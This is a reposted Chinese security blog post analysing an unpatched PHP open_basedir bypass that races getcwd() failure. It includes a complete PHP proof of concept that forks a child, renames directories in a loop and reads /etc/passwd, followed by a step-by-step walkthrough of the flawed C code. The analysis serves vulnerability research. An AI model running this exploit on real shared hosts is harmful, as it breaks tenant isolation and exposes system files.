php5.2.5-8.6通用bypassopen_basedir

admin 2026-05-11 08:14:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析PHP5.2.5至8.6版本中存在的openbasedir绕过漏洞,该漏洞利用getcwd()函数在竞态条件下失败的回退机制,通过创建超长目录路径并配合父进程重命名操作触发路径解析错误,使相对路径…/被错误判定为合法路径。攻击者可利用pcntlfork()在共享主机环境中逐步追加目录权限,最终突破隔离限制访问系统文件。文章提供完整PoC代码和分步原理说明,但漏洞尚未被官方修复。 综合评分: 87 文章分类: 漏洞分析,WEB安全,渗透测试,PHP安全,安全开发


cover_image

php5.2.5-8.6通用bypass open_basedir

原创

秋风 秋风

秋风的安全之路

2026年5月7日 14:20 广东

在小说阅读器读本章

去阅读

作者:秋风

感谢我的好朋友LamentXU 看到这个issues分享给我 嘻嘻

https://github.com/php/php-src/issues/21961

PHP open_basedir 绕过漏洞分析:getcwd() 失败竞态条件

影响版本

| | | | — | — | | 范围 | 版本 | | 引入 | PHP 5.2.5 (2007-11-08),提交 00922630305f | | 影响 | PHP 5.2.5 ~ 当前所有版本(5.3.x、5.4.x、5.5.x、5.6.x、7.0~7.4、8.0~8.5、master) | | 修复 | 尚未合并(PR #21962 状态为 Open) |

漏洞代码存在约 19 年,从 2007 年到现在的所有 PHP 版本均受影响。

利用条件

1.open_basedir 已配置 — 目标 PHP 环境通过 php.ini 或 vhost 设置了 open_basedir 限制

2.可执行任意 PHP 代码 — 攻击者能在受限环境中运行 PHP 脚本(典型场景:共享主机)

3.pcntl_fork() 可用 — 需要 pcntl 扩展来创建子进程实施竞态(CLI 模式默认加载该扩展)

4.Linux 系统 — MAXPATHLEN=4096;macOS 上为 1024,需调整目录深度参数

5.可写目录 — 需要在 open_basedir 允许的路径内拥有写权限以创建深层目录结构

#

漏洞原理

核心调用链

#

ini_set('open_basedir', '....:../')  → OnUpdateBaseDir()    → expand_filepath("../", ...)      → VCWD_GETCWD()  ← 被竞态导致失败        → 回退逻辑: VCWD_OPEN("../") 成功 → 返回未解析的 "../"    → php_check_open_basedir_ex("../")  ← "../" 被错误判定为合法子路径  → open_basedir 被追加 "../"

EXP:

<?phperror_reporting(0);echo&nbsp;"=== PHP open_basedir Bypass PoC (php-src#21961) ===\n";echo&nbsp;"PHP Version: "&nbsp;. phpversion() .&nbsp;"\n";echo&nbsp;"open_basedir: "&nbsp;. ini_get("open_basedir") .&nbsp;"\n\n";echo&nbsp;"[*] 正常情况下读取 /etc/passwd:\n";$test&nbsp;=&nbsp;@file_get_contents("/etc/passwd");echo&nbsp;$test&nbsp;?&nbsp;"成功(不应出现)\n"&nbsp;:&nbsp;"失败: open_basedir 限制生效\n";echo&nbsp;"\n";echo&nbsp;"[*] 开始利用竞态条件绕过 open_basedir...\n";chdir("/tmp");@mkdir("poc/");chdir("poc/");$magic_depth&nbsp;=&nbsp;str_repeat(str_repeat("a",&nbsp;249) .&nbsp;"/",&nbsp;16);@mkdir($magic_depth,&nbsp;0755,&nbsp;true);chdir($magic_depth);$pid&nbsp;=&nbsp;pcntl_fork();if&nbsp;($pid&nbsp;==&nbsp;-1) die("fork 失败\n");if&nbsp;($pid&nbsp;==&nbsp;0) {&nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;<&nbsp;20;&nbsp;$i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$cur&nbsp;=&nbsp;@ini_get("open_basedir");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@ini_set("open_basedir",&nbsp;$cur&nbsp;.&nbsp;":../");&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;@chdir("/tmp");&nbsp; &nbsp;&nbsp;@chdir("../");&nbsp; &nbsp;&nbsp;$passwd&nbsp;=&nbsp;@file_get_contents("etc/passwd");&nbsp; &nbsp;&nbsp;if&nbsp;(!$passwd) {&nbsp; &nbsp; &nbsp; &nbsp; echo&nbsp;"[-] 本次未命中竞态窗口\n";&nbsp; &nbsp; &nbsp; &nbsp; exit(1);&nbsp; &nbsp; }&nbsp; &nbsp; echo&nbsp;"[+] 绕过成功!当前 open_basedir 已被拓宽至根目录\n";&nbsp; &nbsp; echo&nbsp;"[+] /etc/passwd 内容(前5行):\n\n";&nbsp; &nbsp;&nbsp;$lines&nbsp;=&nbsp;explode("\n",&nbsp;$passwd);&nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;<&nbsp;min(5, count($lines));&nbsp;$i++) {&nbsp; &nbsp; &nbsp; &nbsp; echo&nbsp;" &nbsp; &nbsp;"&nbsp;.&nbsp;$lines[$i] .&nbsp;"\n";&nbsp; &nbsp; }&nbsp; &nbsp; echo&nbsp;" &nbsp; &nbsp;...\n";&nbsp; &nbsp; exit(0);}&nbsp;else&nbsp;{&nbsp; &nbsp; chdir("/tmp");&nbsp; &nbsp;&nbsp;for&nbsp;($i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;<&nbsp;3000;&nbsp;$i++) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@rename("poc", str_repeat("x",&nbsp;250));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@rename(str_repeat("x",&nbsp;250),&nbsp;"poc");&nbsp; &nbsp; }&nbsp; &nbsp; pcntl_waitpid($pid,&nbsp;$status);}

分步分析

第一步:构造超长工作目录路径


$magic_depth&nbsp;= str_repeat(str_repeat("a", 249) .&nbsp;"/", 16);// 每层 250 字节 × 16 层 = 4000 字节,接近 MAXPATHLEN(4096)mkdir($magic_depth, 0755,&nbsp;true);chdir($magic_depth);

子进程的工作目录路径变为 /tmp/poc/aaa…a/aaa…a/…/aaa…a(约 4000+ 字节)。

第二步:竞态触发 getcwd() 失败

父进程反复重命名顶层目录:

// 父进程 rename(“poc”, str_repeat(“x”, 250));  // 目录名从 3 字节 → 250 字节 rename(str_repeat(“x”, 250), “poc”);  // 恢复原名

当目录名从 poc(3 字节)被改为 xxx…x(250 字节)时:

  • 子进程的实际工作目录路径变为约 4247 字节,超过 MAXPATHLEN(4096)
  • 此时子进程调用 VCWD_GETCWD() → 缓冲区不够 → 返回 NULL

第三步:expand_filepath() 的错误回退

main/fopen_wrappers.c 第 809-828 行

result = VCWD_GETCWD(cwd, MAXPATHLEN); &nbsp;//&nbsp;← 失败,result = NULLif&nbsp;(!result && (iam != filepath)) {&nbsp; &nbsp; fdtest = VCWD_OPEN(filepath, O_RDONLY); &nbsp;//&nbsp;用相对路径&nbsp;"../"&nbsp;尝试打开&nbsp; &nbsp;&nbsp;if&nbsp;(fdtest != -1) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//&nbsp;直接返回未解析的相对路径&nbsp;"../"&nbsp; &nbsp; &nbsp; &nbsp; memcpy(real_path, filepath, copy_len);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;real_path; &nbsp;//&nbsp;← 返回&nbsp;"../"&nbsp;而非绝对路径&nbsp; &nbsp; }}

关键问题:

  • VCWD_GETCWD()

    失败后,函数没有报错返回,而是尝试用 VCWD_OPEN() 直接打开文件

  • 此时父进程已经把目录名改回 poc,工作目录路径又变短了,VCWD_OPEN(“../”)成功

  • 函数返回了未经解析的相对路径 “../”

第四步:绕过 open_basedir 检查

// OnUpdateBaseDir() 中expand_filepath("../", resolved_name); &nbsp;//&nbsp;resolved_name =&nbsp;"../"php_check_open_basedir_ex("../",&nbsp;0); &nbsp; &nbsp;//&nbsp;"../"&nbsp;被判定为当前目录的子路径 → 检查通过!

php_check_open_basedir_ex() 对 “../” 做前缀匹配时:

  • 当前 open_basedir 包含 /tmp 的子路径

  • “../”

    长度太短,不会触发匹配失败(实现上是检查 resolved_name 是否以 basedir 路径为前缀)

  • ../

    作为相对路径在此检查中被错误放行

第五步:逐级提升目录权限

for&nbsp;($i&nbsp;= 0;&nbsp;$i&nbsp;< 20;&nbsp;$i++) {&nbsp; &nbsp; ini_set("open_basedir", ini_get("open_basedir") .&nbsp;":../");}

每次循环追加一个 ../,积累足够的 ../ 后:

chdir("/tmp");chdir("../"); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//&nbsp;当前目录变为 /file_get_contents("etc/passwd"); &nbsp;//&nbsp;成功读取 /etc/passwd

竞态窗口时序图

时间线&nbsp; ├─ 父进程:&nbsp;rename("poc"&nbsp;→&nbsp;"xxx...x") &nbsp; &nbsp; ← 工作目录路径超长&nbsp; │ &nbsp; &nbsp;│&nbsp; │ &nbsp; &nbsp;├─ 子进程:&nbsp;VCWD_GETCWD() 失败! &nbsp; &nbsp; &nbsp;← 命中竞态窗口&nbsp; │ &nbsp; &nbsp;│&nbsp; ├─ 父进程:&nbsp;rename("xxx...x"&nbsp;→&nbsp;"poc") &nbsp; &nbsp; ← 工作目录路径恢复&nbsp; │ &nbsp; &nbsp;│&nbsp; │ &nbsp; &nbsp;├─ 子进程:&nbsp;VCWD_OPEN("../") 成功 &nbsp; &nbsp; ← 文件可访问&nbsp; │ &nbsp; &nbsp;├─ 子进程: expand_filepath 返回&nbsp;"../"&nbsp; │ &nbsp; &nbsp;├─ 子进程: open_basedir 检查通过&nbsp; │&nbsp; ├─ 重复&nbsp;3000&nbsp;次...

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:秋风的安全之路 秋风 秋风《php5.2.5-8.6通用bypass open_basedir》

有意思的逻辑缺陷 网络安全文章

有意思的逻辑缺陷

文章总结: 本文记录一次授权渗透测试实战案例,测试者通过注册普通账号发现人才系统编辑个人信息功能存在IDOR漏洞,通过修改USERNAME参数为admin成功越
评论:0   参与:  0